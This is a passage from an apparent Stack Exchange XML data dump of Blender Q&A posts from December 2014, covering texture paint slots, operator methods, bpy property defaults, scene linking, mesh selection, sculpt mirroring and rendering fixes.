alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So basically don't use shadeless, that'll fix you up right.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-01T17:11:58.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19415" PostTypeId="2" ParentId="19341" CreationDate="2014-12-01T17:19:37.663" Score="1" Body="&lt;p&gt;The bug report that I put in has been resolved and the solution is... read the release notes thoroughly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender 2.72 there is a new tab in the paint mode called 'Slots' and it replaces the old method of selecting images in the UV viewer to make them active as well as nearly all of the functions of the Layer Management plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you don't have a material assigned to the object it will create one when you go into paint mode with a default texture for diffuse color. If you want to create a new texture such as specular, normal, alpha, etc. there is a drop-down to select the texture that you want to add and it will open the image creation dialog to make the image. It will then create the image with the appropriate settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the image that you are painting to just select the one that you want to work on from the list. You can also delete or hide textures from this list without having to go back to the texture list in the material. Thanks to Anthony Riakiotakis(psy-fi) for clearing that up for me.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-12-01T17:19:37.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19416" PostTypeId="1" AcceptedAnswerId="19431" CreationDate="2014-12-01T18:45:48.790" Score="24" ViewCount="11216" Body="&lt;p&gt;I've seen the functions called poll and invoke used in scripts. I'm curious what these are for and when they are called.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-12-17T00:15:20.100" LastActivityDate="2019-02-27T17:56:20.570" Title="What do operator methods do? (poll, invoke, execute, draw &amp; modal)" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="19417" PostTypeId="1" AcceptedAnswerId="19428" CreationDate="2014-12-01T18:47:10.590" Score="3" ViewCount="1200" Body="&lt;p&gt;I am making an animation with two texts converted to mesh that have wooden textures.  When I animate this, the textures on both move for some reason.  Even stranger, I have two other meshes, a cube and a floor plane, whose textures don't move.  Anyone have any ideas?  Here is a link to the animation for reference:&lt;br&gt;&#xA;&lt;a href=&quot;https://drive.google.com/open?id=0B5WX5WPaU3pHUndFN3dVTVdrbkE&amp;amp;authuser=0&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/open?id=0B5WX5WPaU3pHUndFN3dVTVdrbkE&amp;amp;authuser=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2014-12-02T18:39:05.673" Title="The Texture on a mesh moves in animation" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19420" PostTypeId="2" ParentId="18537" CreationDate="2014-12-01T20:53:59.190" Score="2" Body="&lt;p&gt;The cookbook example doesn't work with recent Blender versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.MyBool = BoolProperty(&#xA;    name = &quot;Boolean&quot;, &#xA;    description = &quot;True or False?&quot;)&#xA;scn['MyBool'] = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will try to access &lt;code&gt;bpy.context&lt;/code&gt; during initialization, which is now prohibited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your is syntactically correct, but you don't give any property a default value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.MatInd = IntProperty(&#xA;name = &quot;Material ID&quot;, &#xA;description = &quot;Material Pass Index ID&quot;)&#xA;default = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;default&lt;/code&gt; is supposed to be a parameter of the property initialization, but you place a random variable in the global scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.MatInd = IntProperty(&#xA;    name=&quot;Material ID&quot;, &#xA;    description=&quot;Material Pass Index ID&quot;,&#xA;    default=0&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you can only supply static values, you can't do something like &lt;code&gt;default=len(bpy.context.selected_objects)&lt;/code&gt; - no access to &lt;code&gt;bpy.data&lt;/code&gt; and &lt;code&gt;bpy.context&lt;/code&gt; is allowed, and therefore no dynamic default value (you could use random.random(), but that's not the point).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-12-01T20:53:59.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19422" PostTypeId="2" ParentId="19237" CreationDate="2014-12-01T21:05:18.407" Score="6" Body="&lt;p&gt;You can use multiple scenes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new scene by pressing the + at the top of the screen and selecting &lt;em&gt;Link Objects&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/091UY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will link the objects into a new scene. This way modifying any object will change it in both scenes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the new scene, select the camera and unlink it from the first scene by pressing &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Object Data&lt;/em&gt;. Then set the camera's aperture size to 0 to disable DoF. Note that the aperture must be set to &lt;em&gt;radius&lt;/em&gt; for this to work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you can get the render results of both scenes in the compositor by using multiple &lt;em&gt;renderlayer&lt;/em&gt; nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrjFo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that each scene has it's own compositing node tree, so it might be confusing if you have composite nodes in both scenes. I usually like to keep all the composite nodes in one scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you add any new objects to one scene, they can be linked to the other scene by selecting them and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Link objects to scene&lt;/em&gt; and then selecting the scene you want to link to.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-01T21:05:18.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19423" PostTypeId="1" CreationDate="2014-12-01T21:05:59.427" Score="2" ViewCount="226" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfTqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally the image file name is black on light gray.  Here, it is red.  What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's &lt;em&gt;not&lt;/em&gt; the file missing. The scene renders just fine, with the image texture doing what it's supposed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 2.70, Cycles, making an elaborate animation with complex materials.&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2014-12-01T21:05:59.427" Title="What does a red background for filename mean in an Image Texture node?" Tags="&lt;nodes&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19424" PostTypeId="1" AcceptedAnswerId="19425" CreationDate="2014-12-01T22:05:38.603" Score="13" ViewCount="81583" Body="&lt;p&gt;I need to have further explanations about how to select everything while I'm on edit mode as in &lt;a href=&quot;http://youtu.be/khuHV00QQj4?t=24m40s&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how I can select the entire object in edit mode because when I'm on object mode I can select only one part of the object and when I switch to edit mode I can again edit only the part that I have previously selected on object mode. I've tried to do CTRL+G but at the minute 28.11 I saw that it's not the right answer,because she can select each individual piece of the character,but I can't. So,what's the solution ? thanks.&lt;/p&gt;&#xA;" OwnerUserId="6185" LastEditorUserId="3127" LastEditDate="2014-12-01T22:20:11.220" LastActivityDate="2018-03-06T18:24:28.757" Title="How to select the entire object on edit mode" Tags="&lt;objects&gt;&lt;editing&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19425" PostTypeId="2" ParentId="19424" CreationDate="2014-12-01T22:19:00.143" Score="23" Body="&lt;p&gt;You hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt; to join all your objects (they need to be selected). When in &lt;em&gt;Edit Mode&lt;/em&gt; hit the &lt;kbd&gt;A&lt;/kbd&gt; key to select all your points (vertices). You can hit it again to deselect everything. If you want to only select your object, use &lt;kbd&gt;L&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="23880" LastEditDate="2018-03-06T17:36:04.350" LastActivityDate="2018-03-06T17:36:04.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19426" PostTypeId="1" CreationDate="2014-12-01T22:25:38.497" Score="0" ViewCount="63" Body="&lt;p&gt;I'm improving upon the motion path in Blender. As it is now, the motion path is something that needs to be calculated for each bone, then updated manually. I want to make the motion path (for the active bone) update every time I change something in the graph editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this simple script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.pose.paths_update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That I want to trigger, every time I make a change in the graph editor. Is this possible? Is there a simpler way of doing it, rather than trigger a script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I currently have, is the above script as an operator. I then reference this operator with a hotkey. But I want to remove the need for a hotkey.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-12-01T22:39:54.680" LastActivityDate="2014-12-01T22:39:54.680" Title="How to trigger script after changes in graph editor?" Tags="&lt;python&gt;&lt;animation&gt;&lt;customization&gt;&lt;add-on&gt;&lt;shortcut&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-02T20:33:54.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="19428" PostTypeId="2" ParentId="19417" CreationDate="2014-12-01T23:19:38.957" Score="6" Body="&lt;p&gt;Looks like you have reflectivity turned on. &lt;strong&gt;Uncheck&lt;/strong&gt; this box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b33hz.png&quot; alt=&quot;Uncheck mirror.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If using Cycles renderer, make sure you're using a Diffuse texture instead of a Glossy one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w8que.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="8281" LastEditDate="2014-12-02T18:39:05.673" LastActivityDate="2014-12-02T18:39:05.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19429" PostTypeId="2" ParentId="19378" CreationDate="2014-12-01T23:27:51.373" Score="4" Body="&lt;p&gt;I noticed that all of the cubes had faces that were in exactly the same place, so I moved every cube around until none of them were touching. This could also be done by selecting each cube, setting the pivot point to individual origins and then scaling down slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it rendered as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/clouds.png&quot; alt=&quot;clouds&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just avoid having the faces of a mesh that has a volumetric shader applied in the same place. Intersections of the objects are fine though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/clouds2.png&quot; alt=&quot;clouds2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing that I found is that you had many cubes that had an identical cube in the same place, so just avoid doing that. My render had some darker clouds because of that.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-12-01T23:27:51.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19430" PostTypeId="2" ParentId="19115" CreationDate="2014-12-01T23:32:46.060" Score="2" Body="&lt;p&gt;Well, I discovered my error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using Cycles and not Blender Internal.  Unless there is some setting I am unaware of, Cycles does not save the texture data in the exported .X3D file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just simply switch to Internal render and then add your textures.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-12-01T23:32:46.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19431" PostTypeId="2" ParentId="19416" CreationDate="2014-12-01T23:51:38.690" Score="43" Body="&lt;p&gt;For a comprehensive description of operators and their use see:&#xA;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Operator.html&quot; rel=&quot;noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.types.Operator.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick run-down&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;poll&lt;/code&gt;, checked before running the operator, which will &lt;em&gt;never&lt;/em&gt; run when poll fails, used to check if an operator can run, menu items will be greyed out and if key bindings should be ignored.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;invoke&lt;/code&gt;, Think of this as &quot;run by a person&quot;. Called by default when accessed from a key binding and menu, this takes the current context - mouse location, used for interactive operations such as dragging &amp;amp; drawing. &lt;strong&gt;*&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;execute&lt;/code&gt; This runs the operator, assuming values are set by the caller &lt;em&gt;(else use defaults)&lt;/em&gt;, this is used for undo/redo, and executing operators from Python.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;draw&lt;/code&gt; called to draw options, typically in the tool-bar. Without this, options will draw in the order they are defined. This gives you control over the layout.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;modal&lt;/code&gt; this is used for operators which continuously run, eg: fly mode, knife tool, circle select are all examples of modal operators. Modal operators can handle events which would normally access other operators, they keep running until they return &lt;code&gt;FINISHED&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cancel&lt;/code&gt; - called when Blender cancels a &lt;code&gt;modal&lt;/code&gt; operator, not used often. Internal cleanup can be done here if needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; - note, button layouts may set the context of operators to invoke or execute. See: &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.UILayout.html#bpy.types.UILayout.operator_context&quot; rel=&quot;noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.types.UILayout.html#bpy.types.UILayout.operator_context&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3710" LastEditDate="2019-02-27T17:56:20.570" LastActivityDate="2019-02-27T17:56:20.570" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19432" PostTypeId="2" ParentId="19396" CreationDate="2014-12-02T00:04:32.903" Score="3" Body="&lt;p&gt;While you are working with 2D, don't forget that the Z axis still exists! If you're doing 2D you should be using an orthographic camera, so further elements won't appear farther. The Z axis essentially becomes the sorting order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/So14A.png&quot; alt=&quot;Z axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WrmQE.png&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason your arm is cutting through the head is because you have the transparency set to &lt;strong&gt;Mask&lt;/strong&gt; instead of &lt;strong&gt;Z Transparency&lt;/strong&gt;. Just go through and make sure everything is on Z Transparency, and you should be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PK70G.png&quot; alt=&quot;Mask vs. Z Transparency&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8281" LastActivityDate="2014-12-02T00:04:32.903" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19433" PostTypeId="1" AcceptedAnswerId="19499" CreationDate="2014-12-02T00:41:20.523" Score="2" ViewCount="897" Body="&lt;p&gt;I'm thinking of implementing an add-on (using Python) for Lagrange curves. In short (after an instance has been added), in &lt;code&gt;Object Mode&lt;/code&gt; there should just be a curve (&lt;em&gt;i.e. the parametric curve evaluated at a couple of parameter values subsequently connected by line segments&lt;/em&gt;) like a Bézier curve, whereas in &lt;code&gt;Edit Mode&lt;/code&gt; there should be a control net as well (&lt;em&gt;similar to the control net of a NURBS curve&lt;/em&gt;) that allows the user to change/modify the curve. In addition, it should be possible to assign a numerical value to each point/vertex and edge of the control net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach would be to draw the curve using &lt;code&gt;bgl&lt;/code&gt; (&lt;em&gt;given a polynomial degree, the values assigned to the edges could act as parameter spans, thereby defining Lagrange basis functions — any position on the curve can then be computed as the sum of the control points multiplied by their associated basis functions&lt;/em&gt;). However, I'm not sure how to make the curve into an actual object (&lt;em&gt;such that it can be selected, saved, ...&lt;/em&gt;). In addition, it should still be possible to change the resolution of the curve at a later time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, how/where to store the control net and additional information? My approach would be to create a mesh for this purpose and store values in a &lt;code&gt;bmesh&lt;/code&gt; layer. In &lt;code&gt;Object Mode&lt;/code&gt; this mesh should be hidden. But how to link it to the curve (&lt;em&gt;changing values re-defines the basis functions which should result in a different curve, likewise moving control points should change the curve&lt;/em&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is a rather comprehensive question -- I'm fairly familiar with &lt;code&gt;bmesh&lt;/code&gt; but apart from simple scripts I don't have much experience coding things in Blender. Any thoughts on a general workflow (&lt;em&gt;see steps/outline above&lt;/em&gt;) or references to similar add-ons would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="379" LastEditorUserId="379" LastEditDate="2014-12-03T11:44:33.723" LastActivityDate="2014-12-03T16:15:02.397" Title="Add new parametric curve object/type using Python" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;add-on&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19434" PostTypeId="1" CreationDate="2014-12-02T01:07:54.393" Score="6" ViewCount="7051" Body="&lt;p&gt;I was working on a character legs with symetry enabled, as one leg was getting in the way I decided to hide it. But now that I unhided it, all the details are not in this leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how to mirror what I have in one leg to the other one, just as I can do using dyntopo?&lt;/p&gt;&#xA;" OwnerUserId="3672" LastActivityDate="2017-08-10T11:46:48.133" Title="How to mirror in sculpt mode?" Tags="&lt;mirror&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19435" PostTypeId="2" ParentId="19381" CreationDate="2014-12-02T01:15:32.573" Score="2" Body="&lt;p&gt;I realize you're kinda asking for a scripting answer, but hopefully this will be of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First start out with a map (white is wall, black is no wall). This one is 16x16:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QEGoK.png&quot; alt=&quot;Map&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's all it is. A 16x16 png file. Now go into blender, create a plane, &lt;kbd&gt;TAB&lt;/kbd&gt; into edit mode, and add ringcuts in both directions equal to the size of the map minus one. Since my map is 16x16, I should add 15x15 ringcuts. The shortcut for that would be &lt;kbd&gt;CTRL + R&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;. You'll end up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0bov.png&quot; alt=&quot;16x16 squares&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select everything, and then &lt;kbd&gt;ALT + E&lt;/kbd&gt; to extrude each face individually. If a little window pops up, click on &lt;code&gt;Individual Faces&lt;/code&gt;. Press &lt;kbd&gt;Esc&lt;/kbd&gt; to save the extrude, but keep the new faces in the same place as the old faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping the new faces selected, press &lt;kbd&gt;CTRL + G&lt;/kbd&gt; and click &lt;code&gt;Assign to New Group&lt;/code&gt; to assign these extruded faces to their own group. We'll be using this a bit later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still with these same faces selected, press &lt;kbd&gt;CTRL + .&lt;/kbd&gt; to cause each face to scale around it's own center, and then press &lt;kbd&gt;S&lt;/kbd&gt; and scale all the faces down &lt;em&gt;ever so slightly&lt;/em&gt;. Seriously. Just &lt;em&gt;barely&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AuWYW.png&quot; alt=&quot;Yay&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last step. You can come back into object mode with &lt;kbd&gt;Tab&lt;/kbd&gt;, go to the modifiers panel (it looks like this: &lt;img src=&quot;https://i.stack.imgur.com/VQNMc.png&quot; alt=&quot;Modifier icon&quot;&gt;) and add a new displacement modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/geR7D.png&quot; alt=&quot;Displacement Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &lt;code&gt;New&lt;/code&gt; under Texture, then go to the texture panel (&lt;img src=&quot;https://i.stack.imgur.com/Md8Hr.png&quot; alt=&quot;Texture Panel&quot;&gt;), click &lt;code&gt;Open&lt;/code&gt;, and browse to your map png.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt; Under Image Sampling, uncheck &lt;code&gt;Interpolation&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, go back to the modifier panel, select the vertex group we created, and set the &lt;code&gt;Midlevel&lt;/code&gt; to 0. And viola!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpWfu.png&quot; alt=&quot;Render 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the image map and then refresh it in the texture panel, and it will instantly update the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Smq5P.png&quot; alt=&quot;Render 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply make the mesh invisible in your game, and have the walls sticking up through your floor. I'm sure there's a way to script this, I'm just not very proficient with blender scripting :)&lt;/p&gt;&#xA;" OwnerUserId="8281" LastActivityDate="2014-12-02T01:15:32.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19436" PostTypeId="1" CreationDate="2014-12-02T01:23:52.560" Score="1" ViewCount="87" Body="&lt;p&gt;I would like to use the flat textures on TextureMate in Blender but am not sure how to convert to 3D textures or even if this is possible. Are there any detailed guides on how to do this? I also have CrazyBump but am not familiar with it yet though this should help hopefully with converting those flat images to normal/bump maps.&lt;/p&gt;&#xA;" OwnerUserId="8283" LastActivityDate="2014-12-02T01:23:52.560" Title="3d Textures from Flat texture" Tags="&lt;texturing&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-12-02T10:48:15.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="19438" PostTypeId="2" ParentId="7365" CreationDate="2014-12-02T03:02:47.937" Score="0" Body="&lt;p&gt;An alternative is to use the 'Solidify' modifier. This will also do the same as extrude region (vertex normals), although you will get more control, and will be able to change the parameters later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm still unsure if there was a way to extrude faces along face normals, as opposed to vertex normals, as Solidify uses vertex normals. This means that if you Solidify a box with a thickness of 1.0, the sides of the box will not actually be 1.0 unit thick, however, if you do the same to a sphere, the sides will be almost exactly 1.0 unit. This is because the displacement is calculated from the original vertex position to the new vertex position along the normal of the vertex, not the face. Using extrude individual faces will use the face normal, but the extruded parts will not be continuous. I would LOVE to see a way to extrude objects along face normals that avoids odd deformation and gives a continuous surface with consistent thickness on all kind of object shapes, regardless of how angular the corners are.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-12-02T03:02:47.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19439" PostTypeId="2" ParentId="7477" CreationDate="2014-12-02T04:24:31.023" Score="1" Body="&lt;p&gt;I have been trying this. My model is in blender units, and I had the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your blender model is in blender units, you have to scale x 1.000, as one blender unit is a millimeter in slic3r. Try this and tell us if you solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="8284" LastEditorUserId="599" LastEditDate="2014-12-02T07:05:59.990" LastActivityDate="2014-12-02T07:05:59.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19440" PostTypeId="1" CreationDate="2014-12-02T06:00:09.890" Score="2" ViewCount="71" Body="&lt;p&gt;Sometimes when I work in the 3d viewport, I can't zoom in or move the view up and down at a recent point. While I'm zooming in the scene it starts a kind of slowing down and stops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="8285" LastEditorUserId="3710" LastEditDate="2014-12-02T10:56:12.433" LastActivityDate="2014-12-02T10:56:12.433" Title="Zooming into the scene slowing down and stops (not in camera mode)" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-02T10:36:55.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="19441" PostTypeId="2" ParentId="19434" CreationDate="2014-12-02T06:44:56.883" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;Edit Mode&lt;/strong&gt;, &lt;kbd&gt;A&lt;/kbd&gt; x 1 (or x 2) to select all elements;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Spacebar&lt;/kbd&gt;, search for &lt;strong&gt;Symmetrize&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Tweak &lt;em&gt;Direction&lt;/em&gt; and &lt;em&gt;Threshold&lt;/em&gt; in &lt;kbd&gt;F6&lt;/kbd&gt; panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lnwxy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; A partial selection will simply duplicate / mirror the selection. In your case, you just need a correction, so you should select all elements first.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-12-02T06:44:56.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19442" PostTypeId="2" ParentId="19319" CreationDate="2014-12-02T09:15:08.037" Score="0" Body="&lt;p&gt;I got the desired result by using these two variations - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mtex.texture_coords = 'ORCO'&#xA;mtex.mapping = 'CUBE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got a good result . Following is the result of the above changes - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z7zz0.jpg&quot; alt=&quot;new output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5473" LastActivityDate="2014-12-02T09:15:08.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19443" PostTypeId="1" CreationDate="2014-12-02T09:33:36.543" Score="5" ViewCount="2422" Body="&lt;p&gt;With my startup team-members, we're looking to build a 3D model of our product, to put it on our website, and then be able to move it 360°, is it possible to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it cost a lot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your Help.&lt;/p&gt;&#xA;" OwnerUserId="8286" LastEditorUserId="1448" LastEditDate="2014-12-02T11:04:37.330" LastActivityDate="2014-12-02T16:00:43.720" Title="How to create a 3D model of an object and then put it on the Internet in a 3D viewer" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="3" ClosedDate="2014-12-02T16:45:46.717" ContentLicense="CC BY-SA 3.0" />
